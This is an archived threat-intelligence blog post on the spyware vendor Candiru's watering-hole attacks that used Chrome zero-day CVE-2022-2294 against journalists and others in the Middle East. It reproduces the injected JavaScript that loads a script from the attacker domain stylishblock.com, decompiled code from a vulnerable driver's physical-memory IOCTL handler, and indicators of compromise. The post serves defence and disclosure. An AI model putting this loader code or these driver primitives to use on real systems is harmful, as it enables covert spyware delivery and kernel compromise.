The Return of Candiru: Zero-days in the Middle East

By Threat Research TeamThreat Research Team

Archived: 2026-04-02 12:03:56 UTC

We recently discovered a zero-day vulnerability in Google Chrome (`CVE-2022-2294`) when it was exploited in the wild in an attempt to attack Avast users in the Middle East. Specifically, a large portion of the attacks took place in Lebanon, where journalists were among the targeted parties.

The vulnerability was a memory corruption in WebRTC that was abused to achieve shellcode execution in Chrome's renderer process. We reported this vulnerability to Google, who patched it on July 4, 2022.

Based on the malware and TTPs used to carry out the attack, we can confidently attribute it to a secretive spyware vendor of many names, most commonly known as Candiru. (A name the threat actors chose themselves, inspired by a horrifying parasitic fish of the same name.)

After Candiru was exposed by Microsoft and CitizenLab in July 2021, it laid low for months, most likely taking its time to update its malware to evade existing detection. We've seen it return with an updated toolset in March 2022, targeting Avast users located in Lebanon, Turkey, Yemen, and Palestine via watering hole attacks using zero-day exploits for Google Chrome. We believe the attacks were highly targeted.

Exploit Delivery and Protection

There were multiple attack campaigns, each delivering the exploit to the victims in its own way.

In Lebanon, the attackers seem to have compromised a website used by employees of a news agency. We can't say for sure what the attackers might have been after, however often the reason why attackers go after journalists is to spy on them and the stories they're working on directly, or to get to their sources and gather compromising information and sensitive data they shared with the press.

Interestingly, the compromised website contained artifacts of persistent XSS attacks, with there being pages that contained calls to the Javascript function `alert` along with keywords like `test` . We suppose that this is how the attackers tested the XSS vulnerability, before ultimately exploiting it for real by injecting a piece of code that loads malicious Javascript from an attacker-controlled domain. This injected code was then responsible for routing the intended victims (and only the intended victims) to the exploit server, through several other attacker-controlled domains.

```
try{ document.body.style = "width:1;display:none;hieght:1"; if(window.XMLHttpRequest.
prototype.open.toString().length < 38 ){  var s = document.createElement('script'); s.src =
"https://stylishblock.com/GXi6/custom.min.js"; document.body.appendChild(s) } }catch(g){}
```

The malicious code injected into the compromised website, loading further Javascript from stylishblock[.]com

Once the victim gets to the exploit server, Candiru gathers more information. A profile of the victim's browser, consisting of about 50 data points, is collected and sent to the attackers. The collected information includes the

victim's language, timezone, screen information, device type, browser plugins, referrer, device memory, cookie functionality, and more. We suppose this was done to further protect the exploit and make sure that it only gets delivered to the targeted victims. If the collected data satisfies the exploit server, it uses RSA-2048 to exchange an encryption key with the victim. This encryption key is used with AES-256-CBC to establish an encrypted channel through which the zero-day exploits get delivered to the victim. This encrypted channel is set up on top of TLS, effectively hiding the exploits even from those who would be decrypting the TLS session in order to capture plaintext HTTP traffic.

Exploits and Vulnerabilities

We managed to capture a zero-day exploit that abused a heap buffer overflow in WebRTC to achieve shellcode execution inside a renderer process. This zero-day was chained with a sandbox escape exploit, which was unfortunately further protected and we were not able to recover it. We extracted a PoC from the renderer exploit and sent it to Google's security team. They fixed the vulnerability, assigning it CVE-2022-2294 and releasing a patch in Chrome version `103.0.5060.114` (Stable channel).

While the exploit was specifically designed for Chrome on Windows, the vulnerability's potential was much wider. Since the root cause was located in WebRTC, the vulnerability affected not only other Chromium-based browsers (like Microsoft Edge) but also different browsers like Apple's Safari. We do not know if Candiru developed exploits other than the one targeting Chrome on Windows, but it's possible that they did. Our Avast Secure Browser was patched on July 5. Microsoft adopted the Chromium patch on July 6, while Apple released a patch for Safari on July 20. We encourage all other WebRTC integrators to patch as soon as possible.

At the end of the exploit chain, the malicious payload (called DevilsTongue, a full-blown spyware) attempts to get into the kernel using another zero-day exploit. This time, it is targeting a legitimate signed kernel driver in a BYOVD (Bring Your Own Vulnerable Driver) fashion. Note that for the driver to be exploited, it has to be first dropped to the filesystem (Candiru used the path `C:\Windows\System32\drivers\HW.sys`) and loaded, which represents a good detection opportunity.

The driver is exploited through IOCTL requests. In particular, there are two vulnerable IOCTLs: `0x9C40648C` can be abused for reading physical memory and `0x9C40A4CC` for writing physical memory. We reported this to the driver's developer, who acknowledged the vulnerability and claimed to be working on a patch. Unfortunately, the patch will not stop the attackers, since they can just continue to exploit the older, unpatched driver. We are also discussing a possible revocation, but that would not be a silver bullet either, because Windows doesn't always check the driver's revocation status. Driver blocklisting seems to be the best solution for now.

```
case 0x8Cu:                             // ioctl switch case: 0x9C40648C
  if ( v27 )
  {
    system_buffer_field_1.QuadPart = *(unsigned int *)AssociatedIrp_SystemBuffer1;
    system_buffer_field_2 = *((_DWORD *)AssociatedIrp_SystemBuffer1 + 1);
  }
  else
  {
    system_buffer_field_1 = *(union _LARGE_INTEGER *)AssociatedIrp_SystemBuffer2;
    system_buffer_field_2 = *((_DWORD *)AssociatedIrp_SystemBuffer2 + 2);
  }
  v15 = system_buffer_field_2;
  v26 = map_physical_address_range(&system_buffer_field_1, 1, 0i64);
  if ( !v26 )
  {
    qmemcpy_swapped_args(mapping_address, irp_system_buffer, system_buffer_field_2);
    v26 = unmap_physical_address_range((__int64)&system_buffer_field_1, 1);
    *p_Information = (unsigned int)v15;
  }
  break;
```

One of the vulnerable ioctl handlers

While there is no way for us to know for certain whether or not the WebRTC vulnerability was exploited by other groups as well, it is a possibility. Sometimes zero-days get independently discovered by multiple groups, sometimes someone sells the same vulnerability/exploit to multiple groups, etc. But we have no indication that there is another group exploiting this same zero-day.

Because Google was fast to patch the vulnerability on July 4, Chrome users simply need to click the button when the browser prompts them to “restart to finish applying the update.” The same procedure should be followed by users of most other Chromium-based browsers, including Avast Secure Browser. Safari users should update to version `15.6`.

Indicators of Compromise (IoCs)

Infrastructure

Domains
bad-shop[.]net
bestcarent[.]org
core-update[.]com
datanalytic[.]org
expertglobal[.]org
only-music[.]net
popsonglist[.]com
querylight[.]net
smartstand[.]org
stylishblock[.]com
webs-update[.]com

Filesystem

DevilsTongue paths
C:\Windows\System32\migration\netiopmig.dll
C:\Windows\System32\migration\sppvmig.dll
C:\Windows\System32\migration\spvmig.dll
C:\Windows\System32\ime\imejp\imjpueact.dll
C:\Windows\System32\ime\imejp\imjpuexp.dll
C:\Windows\System32\ime\imetc\imtcprot.dll
C:\Windows\System32\ime\shared\imccphd.dll
C:\Windows\System32\ime\shared\imebrokev.dll
C:\Windows\System32\ime\shared\imecpmeid.dll
C:\Windows\System32\ime\shared\imepadsvd.dll
C:\Windows\System32\migration\imjprmig.dll
C:\Windows\System32\wbem\dmwmibridgeprov132.dll
C:\Windows\System32\wbem\esscli32.dll
C:\Windows\System32\wbem\netdacim32.dll
C:\Windows\System32\wbem\netpeerdistcim32.dll
C:\Windows\System32\wbem\viewprov32.dll
C:\Windows\System32\wbem\vsswmi32.dll
C:\Windows\System32\wbem\wbemcore32.dll
C:\Windows\System32\wbem\wbemdisp32.dll
C:\Windows\System32\wbem\wbemsvc32.dll
C:\Windows\System32\wbem\wfascim32.dll
C:\Windows\System32\wbem\win32_encryptablevolume32.dll
C:\Windows\System32\wbem\wmiaprpl32.dll
C:\Windows\System32\drivers\HW.sys
C:\Windows\System32\drivers\HW.sys.dat

All .dll files might also appear with an additional .inf extension (e.g. C:\Windows\System32\migration\netiopmig.dll.inf)

Hijacked CLSIDs (persistence mechanism)

Registry keys	Legitimate default values
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32	%systemroot%\system32\wbem\wbemprox.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4FA18276-912A-11D1-AD9B-00C04FD8FDFF}\InprocServer32	%systemroot%\system32\wbem\wbemcore.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32	%systemroot%\system32\wbem\wbemsvc.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32	%systemroot%\system32\wbem\wmiutils.dll

IoCs are also available in our IoC repository.

A group of elite researchers who like to stay under the radar.

Source: https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/